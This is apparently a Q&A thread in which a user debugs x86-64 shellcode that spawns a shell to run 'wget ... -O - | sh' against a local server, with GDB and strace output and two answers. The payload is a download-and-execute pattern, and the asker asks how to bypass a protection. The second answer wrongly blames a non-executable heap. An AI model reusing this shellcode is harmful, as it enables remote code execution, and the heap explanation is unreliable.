1

I wrote a NASM program that uses the execve system call to run wget inside a newly spawned shell and execute the retrieved page:

[bits 64]
global _start
section .text
    _start: 
    xor rcx, rcx
    push rcx    ; first 4
    mov rcx, "/bin//sh"
    push rcx    ; second 4 (8)
    
    mov rdi, rsp    ; /bin/sh
    
    xor rcx, rcx        ; "/bin/sh"
    push rcx
    mov rcx, "/bin//sh"
    push rcx
    mov rdx, rsp    ; save to rdx

    xor rcx, rcx        ; "-c"
    push rcx
    mov cx, "-c"
    push rcx
    mov rbx, rsp    ; save to rbx   

    xor rcx, rcx        ; "/bin/wget 127.0.0.1:8000/response.txt -O - | sh"
    push rcx
    mov rcx, " - | sh "
    push rcx

    xor rcx, rcx
    mov rcx, "e.txt -O"
    push rcx
    
    xor rcx, rcx
    mov rcx, "/respons"
    push rcx
    
    xor rcx, rcx
    mov rcx, "0.1:8000"
    push rcx
    
    xor rcx, rcx
    mov rcx, "t 127.0."
    push rcx

    xor rcx, rcx
    mov rcx, "/bin/wge"
    push rcx
    mov rax, rsp    ; save to rax

    xor rcx, rcx
    push rcx
    
    push rax
    push rbx
    push rdx

    xor rax, rax
    mov al, 59
    mov rsi, rsp
    xor rdx, rdx
    cdq
    syscall

When compiled and linked with nasm -f elf64 file.asm && ld file.o -o file, the resulting binary works without a problem on my 5.15.0 kernel

$ ./ev_shellcode 
--2022-09-25 04:54:57--  http://127.0.0.1:8000/response.txt
Connecting to 127.0.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22 [text/plain]
Saving to: 'STDOUT'

-                                                  100%[================================================================================================================>]      22  --.-KB/s    in 0s      

2022-09-25 04:54:57 (1.83 MB/s) - written to stdout [22/22]

However, when I try to include this program as shellcode in C, I get a segfault (compiled with gcc -Wall --std=c99 -g -O0 -m64 -no-pie -z execstack -fno-stack-protector shellcode_test.c -o shellcode_test)

#include <unistd.h>
#include <sys/mman.h>
#include <unistd.h>

const char shellcode[] = "\x48\x31\xc9\x51\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x51\x48\x89\xe7\x48\x31\xc9\x51\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x51\x48\x89\xe2\x48\x31\xc9\x51\x66\xb9\x2d\x63\x51\x48\x89\xe3\x48\x31\xc9\x51\x48\xb9\x20\x2d\x20\x7c\x73\x68\x20\x51\x48\x31\xc9\x48\xb9\x65\x2e\x74\x78\x20\x2d\x4f\x51\x48\x31\xc9\x48\xb9\x2f\x72\x65\x73\x6f\x6e\x73\x51\x48\x31\xc9\x48\xb9\x30\x2e\x31\x3a\x30\x30\x30\x51\x48\x31\xc9\x48\xb9\x74\x20\x31\x32\x2e\x30\x2e\x51\x48\x31\xc9\x48\xb9\x2f\x62\x69\x6e\x77\x67\x65\x51\x48\x89\xe0\x48\x31\xc9\x51\x50\x53\x52\x48\x31\xc0\xb0\x3b\x48\x89\xe6\x48\x31\xd2\x99\x0f\x05";

int main() {
  long page_size = sysconf(_SC_PAGESIZE);
  void *page_start = (void *) ((long) shellcode & -page_size);
  if (mprotect(page_start, page_size * 2, PROT_READ | PROT_EXEC)) {
    perror("mprotect");
  } else {
    (*(void(*)())shellcode)();
  }
}
~             

GDB-GEF:

Program received signal SIGSEGV, Segmentation fault.
0x00000000004020bc in ?? ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffffe
$rbx   : 0x007fffffffdd68  →  0x0000000000632d ("-c"?)
$rcx   : 0x000000004020b5  →  <shellcode+149> add BYTE PTR [rbp+0x70], ch
$rdx   : 0x0               
$rsp   : 0x007fffffffdd40  →  0x007fffffffdd78  →  0x0000000000000000
$rbp   : 0x007fffffffdda0  →  0x0000000000000001
$rsi   : 0x007fffffffdd40  →  0x007fffffffdd78  →  0x0000000000000000
$rdi   : 0x007fffffffdd80  →  0x0000000000000000
$rip   : 0x000000004020bc  →  0x3b031b0100007463 ("ct"?)
$r8    : 0x007ffff7f8bf10  →  0x0000000000000004
$r9    : 0x007ffff7fc9040  →  <_dl_fini+0> endbr64 
$r10   : 0x007ffff7d792e0  →  0x000f0022000056ec
$r11   : 0x246             
$r12   : 0x007fffffffdeb8  →  0x007fffffffe227  →  "/home/user/Desktop/playground/ASM/shellcode_test"
$r13   : 0x00000000401176  →  <main+0> endbr64 
$r14   : 0x00000000403e18  →  0x00000000401140  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd40│+0x0000: 0x007fffffffdd78  →  0x0000000000000000    ← $rsp, $rsi
0x007fffffffdd48│+0x0008: 0x007fffffffdd68  →  0x0000000000632d ("-c"?)
0x007fffffffdd50│+0x0010: 0x007fffffffdd60  →  0x0000000000000000
0x007fffffffdd58│+0x0018: 0x0000000000000000
0x007fffffffdd60│+0x0020: 0x0000000000000000
0x007fffffffdd68│+0x0028: 0x0000000000632d ("-c"?)   ← $rbx
0x007fffffffdd70│+0x0030: 0x0000000000000000
0x007fffffffdd78│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4020b5 <shellcode+149>  add    BYTE PTR [rbp+0x70], ch
     0x4020b8                  jb     0x402129
     0x4020ba                  je     0x402121
 →   0x4020bc                  movsxd esi, DWORD PTR [rax+rax*1+0x0]
     0x4020c0 <__GNU_EH_FRAME_HDR+0> add    DWORD PTR [rbx], ebx
     0x4020c2 <__GNU_EH_FRAME_HDR+2> add    edi, DWORD PTR [rbx]
     0x4020c4 <__GNU_EH_FRAME_HDR+4> xor    al, 0x0
     0x4020c6 <__GNU_EH_FRAME_HDR+6> add    BYTE PTR [rax], al
     0x4020c8 <__GNU_EH_FRAME_HDR+8> add    eax, 0x60000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode_test", stopped 0x4020bc in ?? (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4020bc → movsxd esi, DWORD PTR [rax+rax*1+0x0]
[#1] 0x7fffffffdd78 → add BYTE PTR [rax], al
[#2] 0x7fffffffdd68 → sub eax, 0x63
[#3] 0x7fffffffdd60 → add BYTE PTR [rax], al
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

strace:

strace ./shellcode_test
execve("./shellcode_test", ["./shellcode_test"], 0x7fffffffdf20 /* 59 vars */) = 0
brk(NULL)                               = 0x405000
arch_prctl(0x3001 /* ARCH_??? */, 0x7fffffffdd50) = -1 EINVAL (Invalid argument)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fbb000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=136203, ...}, AT_EMPTY_PATH) = 0
mmap(NULL, 136203, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7f99000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\237\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0 \0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0"..., 48, 848) = 48
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0i8\235HZ\227\223\333\350s\360\352,\223\340."..., 68, 896) = 68
newfstatat(3, "", {st_mode=S_IFREG|0644, st_size=2216304, ...}, AT_EMPTY_PATH) = 0
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
mmap(NULL, 2260560, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7d71000
mmap(0x7ffff7d99000, 1658880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x28000) = 0x7ffff7d99000
mmap(0x7ffff7f2e000, 360448, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1bd000) = 0x7ffff7f2e000
mmap(0x7ffff7f86000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x214000) = 0x7ffff7f86000
mmap(0x7ffff7f8c000, 52816, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7f8c000
close(3)                                = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7d6e000
arch_prctl(ARCH_SET_FS, 0x7ffff7d6e740) = 0
set_tid_address(0x7ffff7d6ea10)         = 238779
set_robust_list(0x7ffff7d6ea20, 24)     = 0
rseq(0x7ffff7d6f0e0, 0x20, 0, 0x53053053) = 0
mprotect(0x7ffff7f86000, 16384, PROT_READ) = 0
mprotect(0x403000, 4096, PROT_READ)     = 0
mprotect(0x7ffff7ffb000, 8192, PROT_READ) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
munmap(0x7ffff7f99000, 136203)          = 0
mprotect(0x402000, 8192, PROT_READ|PROT_EXEC) = 0
execve("", ["", "-c", ""], NULL)        = -1 ENOENT (No such file or directory)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffffffffffffc} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)

checksec:

Canary                        : ✘ 
NX                            : ✘ 
PIE                           : ✘ 
Fortify                       : ✘ 
RelRO                         : Partial

Is this a new protection feature by Linux or GCC? If so, is there a way to bypass it?

2 Answers 2

3

This line seems to describe what actually killed it.

--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xfffffffffffffffc} ---

It's attempting to access something at 0xfffffffffffffffc, and SEGV_MAPERR means it's not mapped into the address space. It also shows that $rax is 0xfffffffffffffffe (-2), causing the movsxd esi, DWORD PTR [rax+rax*1+0x0] to do this. The question is why.

By using gdb and using stepi once you're about to call shellcode, you can see what's going on.

(gdb) stepi
0x0000000000402020 in shellcode ()
(gdb) disassemble
Dump of assembler code for function shellcode:
=> 0x0000000000402020 <+0>:     xor    %rcx,%rcx
   0x0000000000402023 <+3>:     push   %rcx
   0x0000000000402024 <+4>:     movabs $0x5168732f6e69622f,%rcx
   0x000000000040202e <+14>:    mov    %rsp,%rdi
...
   0x00000000004020b2 <+146>:   cltd
   0x00000000004020b3 <+147>:   syscall
   0x00000000004020b5 <+149>:   add    %ch,0x70(%rbp)
End of assembler dump.
(gdb)

Since you're calling execve, it's important that the system call actually succeed. So let's stepi right up to the syscall instruction.

0x00000000004020b5 in shellcode ()
(gdb) i r
rax            0xfffffffffffffffe  -2
rbx            0x7fffffffe0b8      140737488347320
rcx            0x4020b5            4202677

It looks like execve is failing with ENOENT, so it keeps executing code beyond the end of shellcode.

1
  • It appears that the stack does not get pushed properly. Do you have any ideas for what could be the root cause of this? Sep 27, 2022 at 17:08
2

I would probably think that this is due to you trying to execute code which is stored in the heap (your shellcode table). The heap in x86-64 architecture does not allow executable code.

One way to get out of this would be to declare and define your shellcode table within the main function. I have not tried it but would bet this would work.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .